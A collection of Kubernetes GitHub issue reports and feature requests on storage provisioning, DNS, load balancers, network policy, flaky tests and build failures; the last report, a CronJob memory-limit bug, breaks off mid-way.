to provision volume with storageclass \ glusterfs\ : glusterfs: create volume err: error creating volume post http://heketi.heketi.svc.cluster.local:8080/volumes: dial tcp: lookup heketi.heketi.svc.cluster.local: no such host.\r    \r \r \r   what you expected to happen  :\r \r glusterfs storage class is able to resolve dns address to heketi service\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. setup glusterfs cluster inside kubernetes using heketi at heketi namespace\r 2. create storage class as follows\ \r \r    \r apiversion: storage.k8s.io/v1beta1\r kind: storageclass\r metadata:\r   name: glusterfs\r provisioner: kubernetes.io/glusterfs\r parameters:\r   resturl: \ http://heketi.heketi.svc.cluster.local:8080\ \r    \r \r 3. try to create any stateful app with this storageclass\r \r   anything else we need to know  :\r \r dns is resolvable from busybox container:\r \r    \r wget -qo- http://heketi.heketi.svc.cluster.local:8080/volumes\r {\ volumes\ : \ 85516baa0869f946ca492cc941ca2b76\  }\r    \r \r after i've change fqdn name to ip address in storage configration, it started working  but i'd prefer to use dns name .

currently the volume reconstruction logic reads directories on the system to get mounted volume types and names for a pod.  the reading directories part needs to be refactored so that we can unit test the reconstruction logic.\r \r cc @kubernetes/sig-storage-misc

i've harped on the fact that most other systems allow you to run the multiple deployments under them. \r \r think running 1...n kubernetes clusters on kubernetes, which could in turn host their own kubernetes clusters.  turtles all the way down .   in grids of yore, we called this shadow pooling, and it was the primary way we vetted deployments before rolling them into production.  it has an assortment of other benefits as well, namely ease of upgrades and support for letting operators experiment on multiple versions.  \r \r the biggest issues that i was aware of when i first started asking these questions was: why can't we do this?  at the time there were a number of problems mostly related to docker, but we have not revisited. \r \r i'd like to revisit this question and start to enumerate the exact list of known issues folks have here.\r \r /cc @kubernetes/sig-node-feature-requests  @kubernetes/sig-cluster-lifecycle-feature-requests @connordoyle \r \r

this is what i would like to setup\r \r   would like to have  \r external access  only  via https on 443 and ssl terminated at elb and all the requests get routed to the internal services via http on port 80. also, all the internal services communications are all over http port 80.\r \r   what's happening right now  \r with the following setup, it results in elb with https on port 443 and aws cert setup correctly. internal ports are all mapped to port 443 as well, internal services cannot communicate via port 80.\r \r   work around  \r current workaround is to create similar setup for port 80 and manually change the elb to https port 443.\r \r k8s service definition \r    \r kind: service\r apiversion: v1\r metadata:\r   name: test-app\r   labels:\r     name: test-app\r     environment: dev\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-ssl-cert: <cert arn>\r     service.beta.kubernetes.io/aws-load-balancer-backend-protocol: http\r spec:\r   type: \ loadbalancer\ \r   ports:\r     - name: \ https\ \r       port: 443\r       targetport: 80\r   selector:\r     name: ecommerce\r     environment: dev\r    \r \r   kubernetes version   : 1.4.x, 1.5.x\r \r   environment  :\r -   cloud provider  : aws\r -   os   : debian gnu/linux 8  jessie \r

https://prow.k8s.io/log?pod=pull-kubernetes-e2e-kops-aws-34285\r \r    \r i0711 20:00:44.175  +++  0711 20:00:44  verifying prerequisites....\r i0711 20:00:44.682  +++  0711 20:00:44  removing _output directory\r i0711 20:00:44.727  +++  0711 20:00:44  verifying prerequisites....\r w0711 20:00:44.827  + make release\r i0711 20:00:45.000  +++  0711 20:00:44  building docker image kube-build:build-f1f5e95778-5-v1.8.3-1\r build timed out  after 90 minutes . marking the build as failed.\r build was aborted\r w0711 21:30:07.405  build/../build/common.sh: line 385: 25542 terminated              \ ${docker @ }\  wait \ $1\  > /dev/null 2>&1\r finished: failure\r

is this a bug report or feature request?  :\r \r  \r this is a scaleio plugin volume feature to do the following:\r - reads node label  scaleio.sdcguid  value for the sdc guid\r - uses value to look up the scaleio sdc  instance id \r - if label not found, falls back to current way of doing instance id look up now\r \r this enhancement allows the scaleio plugin to work properly work even if the drv_cfg binary is not installed on the kubelet node.

healthchecking of tunneler is part of healthz of apiserver. however, that seems to be a bit broken:\r \r 1. when we start, this is always ok:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/master/tunneler/ssh.go l52\r https://github.com/kubernetes/kubernetes/blob/master/pkg/master/tunneler/ssh.go l131\r \r 2. if  because of some reason, e.g. user disabled compute api in gce  we are not update sshkeys, after 10 minutes, it will always turn into \ failed\  - this seems pretty bad to me.\r \r 3. if the call fails because of some reason, there is a big chance that we will fail health-check too. the problem is that:\r - we are doing the installsshkey sync loop every 5m: https://github.com/kubernetes/kubernetes/blob/master/pkg/master/tunneler/ssh.go l163\r - if we didn't finish the update for 10m+, we report failure: https://github.com/kubernetes/kubernetes/blob/master/pkg/master/tunneler/ssh.go l62\r this condition should be much less conservative.\r \r @gmarek @kubernetes/sig-api-machinery-bugs

this flaked 11/66 times in the last week.\r \r / /   \r please correct sig if assigned inaccurately.

what happened  :\r when creating a headless service   locally   with  clusterip  set as  none ,  ports  field has to be specified. otherwise, endpoint controller will not be able to create an endpoint for the headless service successfully. this is because port number of to-be-created endpoint is defaulted to 0 when the  ports  field is not specified, which results in an error  0 is a reserved number not available for tcp and udp usage .\r \r this  tutorial  https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ pods-hostname-and-subdomain-fields  explicitly suggests that the  ports  field is optional, which can be confusing to those unfamiliar with kubernetes networking.\r \r   what you expected to happen  :\r port number of to-be-created endpoint should be defaulted to any value from 1 to 65535, not 0. apart from this, the tutorial should not suggest the  ports  field as optional until the defaulting is fixed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1.  kubectl create -f headless-service.yaml \r    \r apiversion: v1\r kind: service\r metadata:\r   name: default-subdomain\r spec:\r   selector:\r     name: busybox\r   clusterip: none\r    \r 2.  kubectl create -f busybox.yaml : an  example  https://raw.githubusercontent.com/kubernetes/website/master/docs/tasks/administer-cluster/busybox.yaml  to refer, but remember to specify  subdomain  field\r 3. look into controller manager log and search for errors related to endpoint creation for the headless service\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-dirty\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ dirty\ , builddate:\ 2018-04-12t21:29:37z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: local cluster\r - os  e.g. from /etc/os-release :  debian gnu/linux \r \r /cc @mrhohn @foxish

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r   what happened  :\r the 3 existing e2e test  in the file : test/e2e/network/dns_configmap.go\r are testing the capability of changing configuration parameters for kube-dns.  federations, upstreamnameservers and stubdomains \r \r it is specific to kube-dns dns server.\r \r as we plan to move to coredns dns server as default, we need to ensure that these tests are updating the configmap corresponding to the dns server running in k8s.\r \r   what you expected to happen  :\r \r the preparation of the test should depend of the dns server running:\r - check the name of the dns pode  containing \ kube-dns\  or \ coredns\  \r - the configmap is selected the same way for both servers  k8s-app=kubedns \r - the value and change to apply to the configmap depends of the server\r - the dig test and expectation should be the same whatever the server.\r \r   also verify/transform in order to make it ipv6 compatible  \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r the  admission-control   flag has been marked deprecated, it need to be updated.\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

since the getting-started-locally docs in the binary release reference it, we should either include it as well or modify the docs to say something along the lines of:  hack/  isn't in the binary release, you need to download the source release or clone the repo to get it.

is there any way i can use k8s to make a scalable iperf3 server?  iperf3 is used to measure internet connection speed between server and client. i need all clients connecting using single unified endpoint. the server program can only deal with 1 client at a time hence need to run it a container. it a second client tries to connect whilst it is busy with first client, the second client gets error message returned. i'm not sure if there is a clean way to then get second client to then connect with another container running iperf3.  as far as i know, iperf makes it difficult to tell if it's busy with a client - except for a different client actually trying to connect to it while busy and then being sent an error message that it is busy.  if this is not possible as per discussion in link below, this is a serious limitation to k8s

hey,  i upgraded a small  3 node  gke cluster to 1.3 yesterday. after about 30-50 minutes everything had settled down and was running fine.  within about an hour after that  i'm unsure about the correct timestamp  something caused two pods that were using  gcepersistentdisk  volumes to restart and upon mounting the disks again, something  presumably k8s  reformatted the file system on those disks, leading to data loss.  deployment specs:  1  https://github.com/goonswarm/infrastructure/blob/fce4e440499a1aef473c928058d8bb719da4dc58/slapd/ldap.yaml   2  https://github.com/goonswarm/infrastructure/blob/fce4e440499a1aef473c928058d8bb719da4dc58/forum/forum.yaml l43   the pods started up fine afterwards, as both openldap and mariadb just initialised new  empty  databases on those volumes. when i noticed it i snapshotted the empty volumes, stopped the pods and reverted the volumes to a backup snapshot - which worked fine.  digging into those empty volumes revealed that filesystem had been reinitialised / volume formatted, the blocks from the previous fs instance were still present on the disk.  has anyone else experienced this?

this issue is to track and follow-up on the unaddressed comments/open issues on pr  29836 \ support azure data disk volume\ : - remove  keymutex  since volumemanager/attach detach controller handle concurrency   - https://github.com/kubernetes/kubernetes/pull/29836 discussion-diff-74159683 - add comments to public methods.   - https://github.com/kubernetes/kubernetes/pull/29836/files r75774475 - document  in comments  the violation of contract where lun is being returned instead of device path. - ensure that warningf, errorf, and infof  with varying verbosity  is used correctly.   - e.g. https://github.com/kubernetes/kubernetes/pull/29836/files r74161572, https://github.com/kubernetes/kubernetes/pull/29836/files r75775075, https://github.com/kubernetes/kubernetes/pull/29836/files r75775317 - don't swallow unmount errors   - https://github.com/kubernetes/kubernetes/pull/29836/files r75775683

figure out the requirements and make it more dynamic, see discussion on: https://github.com/kubernetes/kubernetes/pull/32886, it's also caused issues before  https://github.com/kubernetes/kubernetes/pull/27202, https://github.com/kubernetes/kubernetes/pull/27016, https://github.com/kubernetes/kubernetes/issues/29756 . i actually think the nodecontroller allocates a cidr to the master, we can probably use that:      console $ kubectl get no kubernetes-master --template={{.spec.podcidr}} 10.244.0.0/24

i tried to update the networkpolicy spec field with more ingress rules but got  forbidden: updates to networkpolicy spec are forbidden. \r it seems networkpolicy does not allow update on spec https://github.com/kubernetes/kubernetes/blob/3e3ff447d28075904177d3e7cad73e405b271de5/pkg/apis/extensions/validation/validation.go l836\r this means if i want to have more ingress rules, i will have to add those in a new networkpolicy in the same namespace.\r any reason why i should not add those in the existing one update the existing networkpolicy ? thanks!

kubernetes version    use  kubectl version  :\r 1.4.6\r \r   environment  :\r gce\r \r   what happened  :\r i created a cluster for heapster testing purposes to debug failing test in https://github.com/kubernetes/heapster/pull/1394. it turned out that summary api does not export system/misc stats in systemcontainers section  though there are kubelet and docker stats . everything works as expected on nodes.\r \r see also https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/heapster/1394/pull-heapster-e2e/31/

kubefed   currently defines flags and then assigns the values from the flags to individual variables.  this makes maintenance and testing more difficult than necessary.\r \r cc: @kubernetes/sig-federation-misc

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/5319/ failed:  k8s.io  dns should provide dns for the cluster  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:363 expected error:     < errors.errorstring | 0xc420415c00>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:230       previous issues for this test:  26194  26338  30345  34571

k8s.io/kubernetes/federation/pkg/federation-controller/service testservicecontroller 30s  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/48217/pull-kubernetes-unit/41693/ \r    \r go test -v k8s.io/kubernetes/federation/pkg/federation-controller/service -run testservicecontroller$\r <autogenerated>:12: \r                          \r \terror trace:\tservicecontroller_test.go:156\r \t\r \terror:      \treceived unexpected error:\r \t\r \t            \ttimed out waiting for the condition\r    \r @kubernetes/sig-federation-test-failures

 \r   what happened  :\r in 1.7 networkpolicy only supports ingress  although some cni providers like calico claim to be able to also support egress .\r \r no doubt that egress is already on the roadmap, but i'd like to state a requirement for a couple of selectors that we'll need in order for the egress functionality to be useful in enterprise environments.\r \r 1  cidrselector \r \r we need to be able to define egress rules from cluster pods to external services.  as these are external they lack both a namespace and any labels.  for something analogousness to traditional firewalling, it would be useful to define networkpolicy rules that allows egress to a number of network cidrs or hosts. e.g.\r \r    \r ---\r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: egress-rule-for-logging\r   namespace: backend\r spec:\r   podselector:\r     matchlabels:\r       run: pod\r   egress:\r   - to:\r     - cidrselector:\r       - 192.168.0.0/16\r       - 10.0. \r       - 192.169.0.12\r     ports:\r     - port: 80\r    \r \r 2  dnsselector\r \r as more services are more dynamically ip'd  e.g. consul or an elb etc.  it becomes hard to pinpoint an external service by cidr without being too general.  in the same kind of vein as the externalcname on services it would be very useful to be able to create a egress rule that uses a dns query to populate a list of ip addresses in the rule  and to keep them updated by performing the dns check on a regular interval .  they could look something like this,,,\r \r    \r ---\r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: egress-rule-for-domaincontrollers\r   namespace: backend\r spec:\r   podselector:\r     matchlabels:\r       run: pod\r   egress:\r   - to:\r     - dnsselector:\r       -  adfs.mycompanyforrest.ad.mycompany.com\r     ports:\r     - port: 636\r    \r in this example the dns query adfs.mycompanyforrest.ad.mycompany.com can be enumerated into a number of host ip addresses and egress allowed to this list only.  this would allow the it team to add/remove servers at will without having to maintain a brittle egress rule.\r \r   what you expected to happen  :\r i'd like to see networkpolicy grow to include egress with new selectors that help ease the job of infrastructure developers defining rules for their infrastructure.\r \r   how to reproduce it  as minimally and precisely as possible   :\r na\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8?\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  : linux\r - install tools:\r - others:\r \r 

hi,\r we are creating voyager ingress tpr object like below:\r    \r apiversion: voyager.appscode.com/v1beta1\r kind: ingress\r metadata:\r   name: testingress\r   namespace: default\r spec:\r   backend:\r     servicename: test-server\r     serviceport: '80'\r   rules:\r     - host: test.demo.internal\r       http:\r         paths:\r         - backend:\r             servicename: test-server\r             serviceport: '80'\r             headerrule:\r             - 'x-forwarded-host % base '\r    \r \r  kubectl apply  runs without any error but if i do  kubectl describe ingress.voayger.appscode.com  i see an error like below:\r    \r name:\t\ttestingress\r namespace:\tdefault\r labels:\t\t<none>\r annotations:\tkubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ voyager.appscode.com/v1beta1\ ,\ kind\ :\ ingress\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ testingress\ ,\ namespace\ :\ default\ },\ spec\ :{\ backend...\r api version:\tvoyager.appscode.com/v1beta1\r kind:\t\tingress\r metadata:\r   creation timestamp:\t2017-09-01t07:21:26z\r   resource version:\t1315\r   self link:\t\t/apis/voyager.appscode.com/v1beta1/namespaces/default/ingresses/testingress\r   uid:\t\t\t2a7c5d8e-8ee6-11e7-a030-080027504fc8\r spec:\r   backend:\r     service name:\ttest-server\r     service port:\t80\r   rules:\r     host:\ttest.demo.internal\r     http:\r       paths:\r         backend:\r           header rule:\r             x-forwarded-host %!\r  badindex           service name:\ttest-server\r           service port:\t\t\t80\r events:\t\t\t\t\t<none>\r    \r on the other hand  kubectl get ingress.voyager.appscode.com -o yaml  is working ok.\r \r i tested against minikube 1.7.0 cluster. i see this error with 1.7.x kubectl. i __don't__ see this error with 1.6.2 kubectl .\r \r @kubernetes/sig-cli-bugs

as per @smarterclayton the args to validateupdate should be \ old, new\  rather than vice-versa as it is.  this ripples out to all the implementations of this function.

\r   \r currently the liveness probe in container will use node's local proxy settings by default. \r for example, if the node has environment set like:  http_proxy=xxxx ,  the http liveness probe will use this proxy. but i think for most situation, the proxy is not set to do liveness probe. this would cause liveness probe failure which should not.\r so i think we need provide a way for users to choose if the http liveness probe should use node's local proxy settings.\r

forked from https://github.com/googlecloudplatform/kubernetes/issues/3168. the only remaining communication from the master to the node is the proxying functionality built into the master.   moving that functionality out of the master  see  10209 and  3481  is a reasonable alternative to securing the communication.

proposal    allow specifying an existing gcloud tls cert  via annotations  in the ingress resource.    security concern    my current understanding of kubernetes secrets on gce is that they are stored plaintext in etcd. using a different secret backend  e.g. keywhiz  seems out of your control on a hosted kubernetes like  gce.   requiring the use of a secret resource in the ingress as the only way to create an https lb frontend and proxy is too constraining. as an alternative, if you've already created a gcloud compute ssl-certificate, allowing it to be specified as the tls cert to use for the ingress's lb cert.    current bug    if you set the annotation  kubernetes.io/ingress.allowhttp: \ false\   without the  spec.tls.secretname  doesn't create an https forwarding  presumably because a glb frontend requires a tls cert

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-verify-master/4665/ https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-verify-master/4656/ https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-verify-master/4649/  three recent failures, three different dependency load fails.

when you use internal service name  when you have installed dns add-on , kubelet doesn't use it for probing:      spec.containers{app-master}   warning   unhealthy   {kubelet 172.16.0.12}   readiness probe failed: get http://app-master/status: dial tcp: lookup app-master on 127.0.0.1:53: no such host      even when you define  --cluster-dns=10.254.0.10  inside kubelet.  this problem actually lies in go implementation  see https://github.com/golang/go/issues/12503, which should be resolved soon . but i suggest a hack. when there is defined resolver, we have to resolve host first  i.e.  https://golang.org/pkg/net/ resolveipaddr , hook around  url.host = net.resolveipaddr \ foo\    and then automatically populate  req.host  and set it to  foo  https://github.com/kubernetes/kubernetes/blob/bcbdcd17f3430545e60a52e27661cc6ca14800e4/pkg/probe/http/http.go l61 . does it make sense?      yaml         readinessprobe:           httpget:             host: app-master             scheme: http             path: /status           timeoutseconds: 30           successthreshold: 3

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/60/  failed:  k8s.io  gcp volumes  k8s.io  glusterfs should be mountable {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/volumes.go:467 failed: finding the contents of the mounted file. expected error:     < errors.errorstring | 0xc4202a49a0>: {         s: \ failed to find \\\ hello from glusterfs!\\\ , last result: \\\ \\\ \ ,     }     failed to find \ hello from glusterfs!\ , last result: \ \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/volumes.go:255

as title, we need consider separate the predicate func to it's own go file for easier maintaining.\r @k82cn @timothysc @bsalamat @davidopp

is this a bug report or feature request?  :\r  \r   what happened  :\r \\  kubectl get ingress -o wide \r name            hosts               address                                                 ports     age\r nginx-ingress   www.cluster.local   10.0.0.9,10.0.0.5,10.0.0.8,10.0.0.8,10.0.0.6,10.0.0.6   80, 443   1m\r \r \\  kubectl describe ing \r name:\t\t\tnginx-ingress\r namespace:\t\tdefault\r address:\t\t10.0.0.9,10.0.0.5,10.0.0.8,10.0.0.8,10.0.0.6,10.0.0.6\r default backend:\tdefault-http-backend:80  10.100.99.12:8080 \r \r   what you expected to happen  :\r address just be 10.0.0.5,10.0.0.6,10.0.0.8,10.0.0.9\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl get ingress -o wide\r kubectl describe ingress\r

two use-cases for authentication for which we likely can't force a standard:\r   end user authentication: we want to support a variety of standard and non-standard end user authentication portocols to vendors with possibly interactive login flows.\r   node bootstrap authentication: we want to support secure node bootstrap authentication in mixed deployment environments where node attestation information comes from a variety of sources and in a variety of formats  e.g. tpm attestation doc, vm signed metadata .\r \r the current model for authentication providers is in-tree:\r \r https://github.com/kubernetes/client-go/blob/master/rest/plugin.go l29-l36\r \r this model is not scalable. we need to explore an extension mechanism that can support these use-cases out of tree. a good test will be to move the existing plugins,  e.g. gcp  to out of tree plugins that use the extension. we can then add support of the extension point to kubernetes conformance.\r \r @kubernetes/sig-auth-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r   what happened  :\r    \r +++  1124 14:16:45  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r   k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r usage: link  options  main.o\r  list of possible link args \r   k8s.io/kubernetes/hack/cmd/teststale\r usage: link  options  main.o\r  list of possible link args \r !!!  1124 14:16:46  call tree:\r !!!  1124 14:16:46   1: /home/builder/aports/community/kubernetes/src/kubernetes-1.8.4/hack/lib/golang.sh:683 kube::golang::build_kube_toolchain ... \r !!!  1124 14:16:46   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  1124 14:16:46  call tree:\r !!!  1124 14:16:46   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r make 1 :      makefile.generated_files:322: _output/local/go/bin/deepcopy-gen  error 1\r make:      makefile:512: generated_files  error 2\r    \r \r   what you expected to happen  :\r working build.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  make -j1  in kubernetes 1.8.4 source unpacked from tarball.\r \r   anything else we need to know?  :\r kubernetes 1.8.3 tarball and git v1.8.4 tag build fine.\r link to tarball: https://github.com/kubernetes/kubernetes/archive/v1.8.4.tar.gz\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : alpine 3.6 and ubuntu 17.10\r - kernel  e.g.  uname -a  :  linux ubuntu-artful 4.13.0-16-generic  19-ubuntu smp wed oct 11 18:35:14 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: alpine: go 1.8.4; ubuntu: go 1.8.3, 1.9.1\r - others:\r

\r  \r \r   what happened  :\r the internal csi driver called nodepublish without probing the external driver.\r \r   what you expected to happen  :\r prior to calling nodepublish rpc, kubernetes must probe the external driver for readiness.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a pod that uses a csi-backed volume.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r as seen in log, during cloud-controller-manager initialization, 5 identical calls were made in single second, this would trigger api throttling in some case, which eventually result in  56276.\r \r in azure_instances.go, methods 'nodeaddresses, instancetype, instanceid' all calls 'getvirtualmachine' for same node name, while the result is not cached.\r \r    \r i1211 09:03:29.224010       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-0 : start\r i1211 09:03:29.265595       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-0 : end\r i1211 09:03:29.270697       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-0 : start\r i1211 09:03:29.321728       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-0 : end\r i1211 09:03:29.458745       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-0 : start\r i1211 09:03:29.506379       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-0 : end\r i1211 09:03:29.511119       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-0 : start\r i1211 09:03:29.554319       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-0 : end\r i1211 09:03:29.854830       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-0 : start\r i1211 09:03:29.895332       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-0 : end\r i1211 09:03:34.900213       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-0 : start\r i1211 09:03:34.962648       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-0 : end\r i1211 09:04:10.006534       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-1 : start\r i1211 09:04:10.087907       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-1 : end\r i1211 09:04:10.094232       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-1 : start\r i1211 09:04:10.132358       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-1 : end\r i1211 09:04:10.262909       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-1 : start\r i1211 09:04:10.303835       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-1 : end\r i1211 09:04:10.309504       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-1 : start\r i1211 09:04:10.350325       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-1 : end\r i1211 09:04:14.986172       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-1 : start\r i1211 09:04:15.036440       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-1 : end\r i1211 09:04:20.042205       1 azure_wrap.go:48  virtualmachinesclient.get k8s-agentpool1-24169224-1 : start\r i1211 09:04:20.087533       1 azure_wrap.go:50  virtualmachinesclient.get k8s-agentpool1-24169224-1 : end\r    \r \r this does not happen when not running cloud-controller-manager, where \r \r   what you expected to happen  :\r invariant results such as instanceid should be cached.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a cluster with cloud-controller-manager\r \r   anything else we need to know?  :\r \r   environment  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.0\ , gitcommit:\ 02128d6b5f9e5a7eecbb8c64dec9caf3616cd3b1\ , gittreestate:\ clean\ , builddate:\ 2017-11-16t22:25:16z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.0\ , gitcommit:\ 02128d6b5f9e5a7eecbb8c64dec9caf3616cd3b1\ , gittreestate:\ clean\ , builddate:\ 2017-11-16t22:25:16z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r for large k8s clusters for thousands of customers, the maintain of psp would be one significant issue for operators as different customers always send requests on requesting allowable host paths, privileges, capabilities for pods for debug/trace purpose. \r for cluster operators, they have to create psps for different customers, and delete the psps after the use of them. \r operators have to have another system to trace which psps are created for which customers, and when to delete them, and _evict pods_ which have leaked permissions.\r \r   what you expected to happen  :\r 1. a time window can be defined for psps. the psps are active and customers can create allowable privileged pods.\r 2. after time window exceeded, the pods, which have leaked privileges, are evicted by evict manager.\r 3. psps with time window can be garbage collected by psp gc.\r \r /cc @kubernetes/sig-auth-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r \r cronjobs fail to run when there is a resource limit set for memory.  i've created a concise demonstration of the problem below.  this shows the problem both in our cluster in gcp  1.8.5-gke-0  and with minikube  latest version, kubernetes 1.9.0 .\r \r   what you expected to happen  :\r \r the jobs should run when the  limits - memory  is set.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i've created a concise variant of the problem that we've experienced with cronjobs in our real kubernetes cluster in gcp.\r \r if i deploy to our cluster in gcp a slightly modified version of the kubernetes hello-world cron job from https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ where all i've done is added a  resources  element to limit cpu, then the cron job runs successfully every minute.  this is the config of the cronjob:\r \r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   name: hello\r spec:\r   schedule: \  /1        \ \r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r           - name: hello\r             image: busybox\r             args:\r             - /bin/sh\r             - -c\r             - date; echo hello from the kubernetes cluster\r             resources:\r               requests:\r                 cpu: \ 100m\ \r               limits:\r                 cpu: \ 100m\ \r           restartpolicy: onfailure\r    \r \r however, when i add  memory  settings to the  resources  element, the jobs fail to start.  i made this change:\r \r    \r             resources:\r               requests:\r                 cpu: \ 100m\ \r                 memory: \ 1000m\ \r               limits:\r                 